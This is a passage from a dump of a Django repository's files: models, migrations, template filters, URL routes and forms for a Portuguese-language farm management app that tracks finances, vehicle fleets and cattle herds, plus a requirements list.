total=Sum('valor'))\n despesa = self.despesa_set.filter(situacao=Situacao.EFETIVADA, data__lte=datetime.today()).aggregate(\n total=Sum('valor'))\n\n if not receita['total']:\n receita = 0\n else:\n receita = receita['total']\n\n if not despesa['total']:\n despesa = 0\n else:\n despesa = despesa['total']\n\n return self.saldo_inicial - despesa + receita\n\n @property\n def get_previsao_saldo(self):\n receita = self.receita_set.all().aggregate(total=Sum('valor'))\n despesa = self.despesa_set.all().aggregate(total=Sum('valor'))\n\n return self.saldo_inicial - despesa['total'] + receita['total']\n\n\nclass Despesa(AuditoriaMixin):\n situacao = models.IntegerField(verbose_name='Situação', choices=Situacao.SITUACAO_CHOICES, default=1)\n data = models.DateField()\n descricao = models.CharField(verbose_name='Descrição', max_length=255)\n subcategoria = models.ForeignKey(SubCategoria, on_delete=models.CASCADE)\n conta = models.ForeignKey(Conta, on_delete=models.CASCADE)\n valor = models.DecimalField(decimal_places=2, max_digits=20)\n fornecedor = models.ForeignKey(Terceiro, related_name='despesa_fornecedor', blank=True, null=True, on_delete=models.CASCADE)\n colaborador = models.ForeignKey(Terceiro, related_name='despesa_colaborador', blank=True, null=True, on_delete=models.CASCADE)\n parceiro = models.ForeignKey(Terceiro, related_name='despesa_parceiro', blank=True, null=True, on_delete=models.CASCADE)\n nf = models.CharField(verbose_name='Documento', max_length=50, blank=True, null=True)\n forma_pagamento = models.IntegerField(verbose_name='Forma Pagamento',\n choices=FormaPagamento.FORMA_PAGAMENTO_CHOICES, default=2)\n frota = models.ForeignKey(Frota, on_delete=models.CASCADE, blank=True, null=True)\n marcador = models.PositiveIntegerField(validators=[MinValueValidator(Decimal('0.01'))], blank=True, null=True)\n\n def __str__(self):\n return self.descricao\n\n class Meta:\n ordering = ['situacao', 'data', Lower('descricao')]\n verbose_name = 'Despesa'\n verbose_name_plural = 'Despesas'\n\n\nclass Receita(AuditoriaMixin):\n situacao = models.IntegerField(verbose_name='Situação', choices=Situacao.SITUACAO_CHOICES, default=1)\n data = models.DateField()\n descricao = models.CharField(verbose_name='Descrição', max_length=255)\n subcategoria = models.ForeignKey(SubCategoria, on_delete=models.CASCADE)\n conta = models.ForeignKey(Conta, on_delete=models.CASCADE)\n valor = models.DecimalField(decimal_places=2, max_digits=20)\n cliente = models.ForeignKey(Terceiro, related_name='receita_cliente', blank=True, null=True, on_delete=models.CASCADE)\n fornecedor = models.ForeignKey(Terceiro, related_name='receita_fornecedor', blank=True, null=True, on_delete=models.CASCADE)\n parceiro = models.ForeignKey(Terceiro, related_name='receita_parceiro', blank=True, null=True, on_delete=models.CASCADE)\n produtor = models.ForeignKey(Terceiro, related_name='receita_produtor', blank=True, null=True, on_delete=models.CASCADE)\n nf = models.CharField(verbose_name='Documento', max_length=50, blank=True, null=True)\n forma_pagamento = models.IntegerField(verbose_name='Forma Pagamento',\n choices=FormaPagamento.FORMA_PAGAMENTO_CHOICES, default=2)\n\n def __str__(self):\n return self.descricao\n\n class Meta:\n ordering = ['situacao', 'data', Lower('descricao')]\n verbose_name = 'Receita'\n verbose_name_plural = 'Receitas'\n"
},
{
"alpha_fraction": 0.5762738585472107,
"alphanum_fraction": 0.5864649415016174,
"avg_line_length": 61.79999923706055,
"blob_id": "efdc3f30f792e3fc268b4f3f55294ba49a47203f",
"content_id": "10e075ebbbd49547acbbb629018e104b79564791",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 12584,
"license_type": "no_license",
"max_line_length": 179,
"num_lines": 200,
"path": "/portal/migrations/0001_initial.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-05-30 15:37\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.functions.text\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Categoria',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('descricao', models.CharField(max_length=255, verbose_name='Descrição')),\n ('tipo', models.IntegerField(choices=[[1, 'Crédito'], [2, 'Débito']])),\n ],\n options={\n 'ordering': [django.db.models.functions.text.Lower('descricao')],\n },\n ),\n migrations.CreateModel(\n name='Conta',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('descricao', models.CharField(max_length=150, verbose_name='Descrição')),\n ('tipo', models.IntegerField(choices=[[1, 'Conta Corrente'], [2, 'Poupança'], [3, ' Investimento'], [4, 'Outros']], default=1)),\n ('saldo_inicial', models.DecimalField(decimal_places=2, default=0, max_digits=20, verbose_name='Saldo inicial')),\n ],\n options={\n 'ordering': [django.db.models.functions.text.Lower('descricao')],\n },\n ),\n migrations.CreateModel(\n name='Empresa',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('razao_social', models.CharField(max_length=255, verbose_name='Razão Social')),\n ('nome_fantasia', models.CharField(max_length=255, verbose_name='Nome Fantasia')),\n ('cnpj', models.CharField(blank=True, max_length=18, null=True, verbose_name='CNPJ')),\n ('ie', models.CharField(blank=True, max_length=45, null=True, verbose_name='IE')),\n ('im', models.CharField(blank=True, max_length=45, null=True, verbose_name='IM')),\n ('endereco', models.CharField(blank=True, max_length=255, null=True, verbose_name='Endereço')),\n ('bairro', models.CharField(blank=True, max_length=255, null=True)),\n ('cep', models.CharField(blank=True, max_length=10, null=True, verbose_name='CEP')),\n ('cidade', models.CharField(blank=True, max_length=150, null=True)),\n ('uf', models.CharField(blank=True, max_length=2, null=True, verbose_name='UF')),\n ('fone', models.CharField(blank=True, max_length=13, null=True)),\n ('email', models.CharField(blank=True, max_length=50, null=True)),\n ('site', models.CharField(blank=True, max_length=50, null=True)),\n ('logo', models.ImageField(blank=True, null=True, upload_to='img_empresa')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name_plural': 'Empresa',\n 'ordering': ['nome_fantasia'],\n },\n ),\n migrations.CreateModel(\n name='FormaPagamento',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.CreateModel(\n name='Fornecedor',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('razao_social', models.CharField(max_length=255, verbose_name='Razão Social')),\n ('nome_fantasia', models.CharField(max_length=255, verbose_name='Nome Fantasia')),\n ('cnpj', models.CharField(blank=True, max_length=18, null=True, verbose_name='CNPJ')),\n ('ie', models.CharField(blank=True, max_length=45, null=True, verbose_name='IE')),\n ('im', models.CharField(blank=True, max_length=45, null=True, verbose_name='IM')),\n ('endereco', models.CharField(blank=True, max_length=255, null=True, verbose_name='Endereço')),\n ('bairro', models.CharField(blank=True, max_length=255, null=True)),\n ('cep', models.CharField(blank=True, max_length=10, null=True, verbose_name='CEP')),\n ('cidade', models.CharField(blank=True, max_length=150, null=True)),\n ('uf', models.CharField(blank=True, max_length=2, null=True, verbose_name='UF')),\n ('fone', models.CharField(blank=True, max_length=13, null=True)),\n ('email', models.CharField(blank=True, max_length=50, null=True)),\n ('site', models.CharField(blank=True, max_length=50, null=True)),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name_plural': 'Fornecedores',\n 'ordering': [django.db.models.functions.text.Lower('nome_fantasia')],\n },\n ),\n migrations.CreateModel(\n name='Situacao',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='SubCategoria',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('descricao', models.CharField(max_length=255, verbose_name='Descrição')),\n ('icone', models.CharField(blank=True, max_length=50, null=True, verbose_name='Ícone')),\n ('cor', models.CharField(blank=True, max_length=50, null=True)),\n ('categoria', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='portal.Categoria')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'ordering': [django.db.models.functions.text.Lower('descricao')],\n },\n ),\n migrations.CreateModel(\n name='Receita',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('situacao', models.IntegerField(choices=[[0, 'Pendente'], [1, 'Efetivada']], default=1, verbose_name='Situação')),\n ('data', models.DateField()),\n ('descricao', models.CharField(max_length=255, verbose_name='Descrição')),\n ('valor', models.DecimalField(decimal_places=2, max_digits=20)),\n ('nf', models.PositiveIntegerField(blank=True, null=True, verbose_name='Nota Fiscal')),\n ('forma_pagamento', models.IntegerField(choices=[[0, 'Boleto'], [1, 'Cheque'], [2, 'Dinheiro'], [3, 'Transferência']], default=2, verbose_name='Forma Pagamento')),\n ('conta', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='portal.Conta')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('fornecedor', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='portal.Fornecedor')),\n ('subcategoria', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='portal.SubCategoria')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'ordering': ['situacao', 'data', 'descricao'],\n },\n ),\n migrations.CreateModel(\n name='Despesa',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('situacao', models.IntegerField(choices=[[0, 'Pendente'], [1, 'Efetivada']], default=1, verbose_name='Situação')),\n ('data', models.DateField()),\n ('descricao', models.CharField(max_length=255, verbose_name='Descrição')),\n ('valor', models.DecimalField(decimal_places=2, max_digits=20)),\n ('nf', models.PositiveIntegerField(blank=True, null=True, verbose_name='Nota Fiscal')),\n ('forma_pagamento', models.IntegerField(choices=[[0, 'Boleto'], [1, 'Cheque'], [2, 'Dinheiro'], [3, 'Transferência']], default=2, verbose_name='Forma Pagamento')),\n ('conta', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='portal.Conta')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('fornecedor', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='portal.Fornecedor')),\n ('subcategoria', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='portal.SubCategoria')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'ordering': ['situacao', 'data', 'descricao'],\n },\n ),\n migrations.AddField(\n model_name='conta',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa'),\n ),\n migrations.AddField(\n model_name='conta',\n name='user',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL),\n ),\n migrations.AddField(\n model_name='categoria',\n name='empresa',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa'),\n ),\n migrations.AddField(\n model_name='categoria',\n name='user',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6065197587013245,
"alphanum_fraction": 0.628558337688446,
"avg_line_length": 42.560001373291016,
"blob_id": "89b460b495fc5e6d4ea055d0ccc5fdfcfc5b82d2",
"content_id": "feb19baf69fa88a1eb1c08fce6e3525857426594",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2178,
"license_type": "no_license",
"max_line_length": 162,
"num_lines": 50,
"path": "/financeiro/migrations/0007_auto_20200617_1642.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 20:42\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('portal', '0007_auto_20200617_1436'),\n ('financeiro', '0006_auto_20200617_1631'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='receita',\n name='cliente',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='receita_cliente', to='portal.Terceiro'),\n ),\n migrations.AddField(\n model_name='receita',\n name='parceiro',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='receita_parceiro', to='portal.Terceiro'),\n ),\n migrations.AddField(\n model_name='receita',\n name='produtor',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='receita_produtor', to='portal.Terceiro'),\n ),\n migrations.AlterField(\n model_name='despesa',\n name='colaborador',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='despesa_colaborador', to='portal.Terceiro'),\n ),\n migrations.AlterField(\n model_name='despesa',\n name='fornecedor',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='despesa_fornecedor', to='portal.Terceiro'),\n ),\n migrations.AlterField(\n model_name='despesa',\n name='parceiro',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='despesa_parceiro', to='portal.Terceiro'),\n ),\n migrations.AlterField(\n model_name='receita',\n name='fornecedor',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='receita_fornecedor', to='portal.Terceiro'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6312903165817261,
"alphanum_fraction": 0.633548378944397,
"avg_line_length": 29.702970504760742,
"blob_id": "e16c65cabcd023c568752fdc295eae5a2c10f249",
"content_id": "f3d356592858327324ee4c877d890af85bb48975",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3100,
"license_type": "no_license",
"max_line_length": 124,
"num_lines": 101,
"path": "/portal/templatetags/filters.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "import datetime\n\nfrom django import template\nfrom django.contrib.humanize.templatetags.humanize import intcomma\nfrom django.db.models import Count\nfrom django.utils.formats import localize\n\nfrom rebanho.models import Animal\n\nregister = template.Library()\n\n\[email protected](name='moeda')\ndef moeda(my_value):\n if my_value:\n a = '{:,.2f}'.format(float(my_value))\n b = a.replace(',', 'v')\n c = b.replace('.', ',')\n return 'R$ ' + c.replace('v', '.')\n\n\[email protected]_tag(name='timestamp_to_date')\ndef timestamp_to_date(timestamp):\n import datetime\n data = datetime.date.fromtimestamp(int(timestamp))\n return data.strftime(\"%d/%m/%Y\")\n\n\[email protected]_tag(name='balanco')\ndef balanco(receita, despesa):\n if receita and despesa:\n return moeda(receita - despesa)\n else:\n return '-'\n\n\[email protected]_tag(name='previsao_saldo')\ndef previsao_saldo(conta, data_final):\n from financeiro.models import Receita, Despesa\n from django.db.models import Sum\n\n receita = Receita.objects.filter(data__lte=data_final, empresa=conta.empresa).aggregate(total=Sum('valor'))\n despesa = Despesa.objects.filter(data__lte=data_final, empresa=conta.empresa).aggregate(total=Sum('valor'))\n\n if receita['total'] and despesa['total']:\n return moeda(conta.saldo_inicial - despesa['total'] + receita['total'])\n else:\n return '-'\n\n\[email protected](name='has_group')\ndef has_group(user, group_name):\n from django.contrib.auth.models import Group\n\n group = Group.objects.get(name=group_name)\n return group in user.groups.all()\n\n\[email protected]_tag(name='percentual')\ndef percentual(total, valor):\n if valor:\n percentual = ((valor / total) * 100)\n return '{:0,.0f} %'.format(percentual).replace('.', ',')\n else:\n return '0 %'\n\[email protected]_tag(name='idade')\ndef idade(sexo, inicio, fim):\n if fim:\n animal = Animal.objects.filter(\n vivo=True,\n sexo=sexo,\n data_nascimento__range=[\n (datetime.datetime.today() - datetime.timedelta(days=fim)),\n (datetime.datetime.today() - datetime.timedelta(days=inicio))\n ]\n ).aggregate(total=Count('id'))\n else:\n animal = Animal.objects.filter(\n vivo=True,\n sexo=sexo,\n data_nascimento__lte=(datetime.datetime.today() - datetime.timedelta(days=inicio))).aggregate(total=Count('id'))\n\n return animal['total']\n\[email protected]_tag(name='idade_total')\ndef idade_total(inicio, fim):\n if fim:\n animal = Animal.objects.filter(\n vivo=True,\n data_nascimento__range=[\n (datetime.datetime.today() - datetime.timedelta(days=fim)),\n (datetime.datetime.today() - datetime.timedelta(days=inicio))\n ]\n ).aggregate(total=Count('id'))\n else:\n animal = Animal.objects.filter(\n vivo=True,\n data_nascimento__lte=(datetime.datetime.today() - datetime.timedelta(days=inicio))).aggregate(total=Count('id'))\n\n return animal['total']"
},
{
"alpha_fraction": 0.6859592795372009,
"alphanum_fraction": 0.6859592795372009,
"avg_line_length": 48.105262756347656,
"blob_id": "002e2e415766f583465deffd7d1003952c84ac65",
"content_id": "b8352ca64b8b7cd10aed1689b934ad566f30b201",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 933,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 19,
"path": "/rebanho/urls.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^rebanho/cadastro/animal/matar/(?P<pk>\\d+)$', views.matar_animal, name='matar_animal'),\n url(r'^rebanho/cadastro/animal/editar/(?P<pk>\\d+)$', views.editar_animal, name='editar_animal'),\n url(r'^rebanho/cadastro/animal/adicionar$', views.adicionar_animal, name='adicionar_animal'),\n url(r'^rebanho/cadastro/animal$', views.animal, name='animal'),\n\n url(r'^rebanho/cadastro/lote/excluir/(?P<pk>\\d+)$', views.excluir_lote, name='excluir_lote'),\n url(r'^rebanho/cadastro/lote/editar/(?P<pk>\\d+)$', views.editar_lote, name='editar_lote'),\n url(r'^rebanho/cadastro/lote/adicionar$', views.adicionar_lote, name='adicionar_lote'),\n url(r'^rebanho/cadastro/lote$', views.lote, name='lote'),\n\n url(r'^rebanho/configuracao$', views.configuracao, name='configuracao'),\n\n url(r'^rebanho/visao$', views.visao_geral, name='visao_geral'),\n]\n"
},
{
"alpha_fraction": 0.5966576337814331,
"alphanum_fraction": 0.6036585569381714,
"avg_line_length": 53.66666793823242,
"blob_id": "761adec3ff237b868201cdaaa3248de93301ca68",
"content_id": "a8632543a0ddec7e360d76f1c0e43e32d69371d0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4432,
"license_type": "no_license",
"max_line_length": 169,
"num_lines": 81,
"path": "/portal/migrations/0002_auto_20200610_0920.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-10 13:20\n\nfrom decimal import Decimal\nfrom django.conf import settings\nimport django.core.validators\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.functions.text\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('portal', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='categoria',\n options={'ordering': [django.db.models.functions.text.Lower('descricao')], 'verbose_name': 'Categoria', 'verbose_name_plural': 'Categorias'},\n ),\n migrations.AlterModelOptions(\n name='conta',\n options={'ordering': [django.db.models.functions.text.Lower('descricao')], 'verbose_name': 'Conta', 'verbose_name_plural': 'Contas'},\n ),\n migrations.AlterModelOptions(\n name='despesa',\n options={'ordering': ['situacao', 'data', django.db.models.functions.text.Lower('descricao')], 'verbose_name': 'Despesa', 'verbose_name_plural': 'Despesas'},\n ),\n migrations.AlterModelOptions(\n name='fornecedor',\n options={'ordering': [django.db.models.functions.text.Lower('nome_fantasia')], 'verbose_name': 'Fornecedor', 'verbose_name_plural': 'Fornecedores'},\n ),\n migrations.AlterModelOptions(\n name='receita',\n options={'ordering': ['situacao', 'data', django.db.models.functions.text.Lower('descricao')], 'verbose_name': 'Receita', 'verbose_name_plural': 'Receitas'},\n ),\n migrations.AlterModelOptions(\n name='subcategoria',\n options={'ordering': [django.db.models.functions.text.Lower('descricao')], 'verbose_name': 'Subcategoria', 'verbose_name_plural': 'Subcategorias'},\n ),\n migrations.CreateModel(\n name='Frota',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('descricao', models.CharField(max_length=150, verbose_name='Descrição')),\n ('tipo', models.IntegerField(choices=[[1, 'Automóvel'], [2, 'Motocicleta'], [3, ' Maquinário']], default=1)),\n ('placa', models.CharField(blank=True, max_length=8, null=True, verbose_name='Placa')),\n ('ano', models.IntegerField(blank=True, null=True)),\n ('modelo', models.IntegerField(blank=True, null=True)),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Frota',\n 'verbose_name_plural': 'Frotas',\n 'ordering': [django.db.models.functions.text.Lower('descricao')],\n },\n ),\n migrations.CreateModel(\n name='ControleFrota',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('marcador', models.PositiveIntegerField(validators=[django.core.validators.MinValueValidator(Decimal('0.01'))])),\n ('despesa', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='portal.Despesa')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('frota', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='portal.Frota')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Gasto Frota',\n 'verbose_name_plural': 'Gastos Frotas',\n 'ordering': ['-despesa__data', 'frota'],\n },\n ),\n ]\n"
},
{
"alpha_fraction": 0.583798885345459,
"alphanum_fraction": 0.5847299695014954,
"avg_line_length": 26.538461685180664,
"blob_id": "dd855f7bc5944bcdcdf374ca17142fff16594f72",
"content_id": "37314e85612adb09a393e892ea20144e15aa92e8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1074,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 39,
"path": "/portal/forms.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django import forms\nfrom django.contrib.auth.models import User\n\nfrom .models import Frota, Empresa, Terceiro, Produto\n\n\nclass UserForm(forms.ModelForm):\n class Meta:\n model = User\n fields = ('first_name', 'last_name')\n\n\nclass EmpresaForm(forms.ModelForm):\n class Meta:\n model = Empresa\n exclude = ('created_at', 'update_at', 'user')\n\n\nclass FrotaForm(forms.ModelForm):\n class Meta:\n model = Frota\n fields = ('descricao', 'tipo', 'placa', 'ano', 'modelo')\n\n\nclass TerceiroForm(forms.ModelForm):\n class Meta:\n model = Terceiro\n exclude = ('user', 'empresa')\n\n\nclass ProdutoForm(forms.ModelForm):\n class Meta:\n model = Produto\n exclude = ('user', 'empresa')\n\n def __init__(self, user, *args, **kwargs):\n super(ProdutoForm, self).__init__(*args, **kwargs)\n self.fields['fabricante'].queryset = self.fields['fabricante'].queryset.filter(categoria=3,\n empresa=user.userprofile.empresa)\n"
},
{
"alpha_fraction": 0.4853801131248474,
"alphanum_fraction": 0.6939570903778076,
"avg_line_length": 16.100000381469727,
"blob_id": "e55b8468fdd76f0681332d487da1293417eb5330",
"content_id": "072bebb31c5e88f8e51a561e0d91e9c1c22b20e2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 513,
"license_type": "no_license",
"max_line_length": 28,
"num_lines": 30,
"path": "/requirements.txt",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "certifi==2020.4.5.1\nchardet==3.0.4\ndefusedxml==0.6.0\ndiff-match-patch==20181111\nDjango==2.2.10\ndjango-easy-instagram==0.3.3\ndjango-filter==2.2.0\ndjango-import-export==2.0.2\ndjango-widget-tweaks==1.4.8\net-xmlfile==1.0.1\nhtml5lib==1.0.1\nhumanize==2.2.0\nidna==2.9\njdcal==1.4.1\nlxml==4.5.0\nMarkupPy==1.14\nodfpy==1.4.1\nopenpyxl==3.0.3\nPillow==7.0.0\npytz==2019.3\nPyYAML==5.3.1\nrequests==2.23.0\nsix==1.14.0\nsorl-thumbnail==12.6.3\nsqlparse==0.3.1\ntablib==1.1.0\nurllib3==1.25.9\nwebencodings==0.5.1\nxlrd==1.2.0\nxlwt==1.3.0\n"
},
{
"alpha_fraction": 0.565528929233551,
"alphanum_fraction": 0.5753347277641296,
"avg_line_length": 51.50495147705078,
"blob_id": "3763f6246700b7dcc0a7b30d324de7755d23edfc",
"content_id": "794927c47ff249ea801225066d2d6d193284093f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5310,
"license_type": "no_license",
"max_line_length": 203,
"num_lines": 101,
"path": "/rebanho/migrations/0001_initial.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-10 15:18\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.functions.text\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('portal', '0003_auto_20200610_0957'),\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Animal',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('nascimento', models.DateField(verbose_name='Data Nascimento')),\n ('sexo', models.IntegerField(choices=[[0, 'Fêmea'], [1, 'Macho']], verbose_name='Sexo')),\n ('padrao_racial', models.IntegerField(choices=[[0, 'Anelorado'], [1, 'Cruzamento Industrial'], [2, 'Cruzamento Leiteiro'], [3, 'Taurino'], [4, 'Zebuíno']], verbose_name='Padrão Racial')),\n ('atividade', models.IntegerField(choices=[[0, 'Cria'], [1, 'Recria'], [2, 'Engorda']], verbose_name='Atividade')),\n ('categoria', models.IntegerField(choices=[[0, 'Bezerro'], [1, 'Garrote'], [2, 'Touro'], [3, 'Boi'], [0, 'Bezerra'], [5, 'Novilha'], [6, 'Vaca']], verbose_name='Categoria')),\n ('observacoes', models.TextField(blank=True, null=True, verbose_name='Observações')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ],\n options={\n 'verbose_name': 'Animal',\n 'verbose_name_plural': 'Animais',\n 'ordering': ['id'],\n },\n ),\n migrations.CreateModel(\n name='Atividade',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.CreateModel(\n name='Categoria',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.CreateModel(\n name='Lote',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('data_criacao', models.DateField()),\n ('descricao', models.CharField(max_length=255, 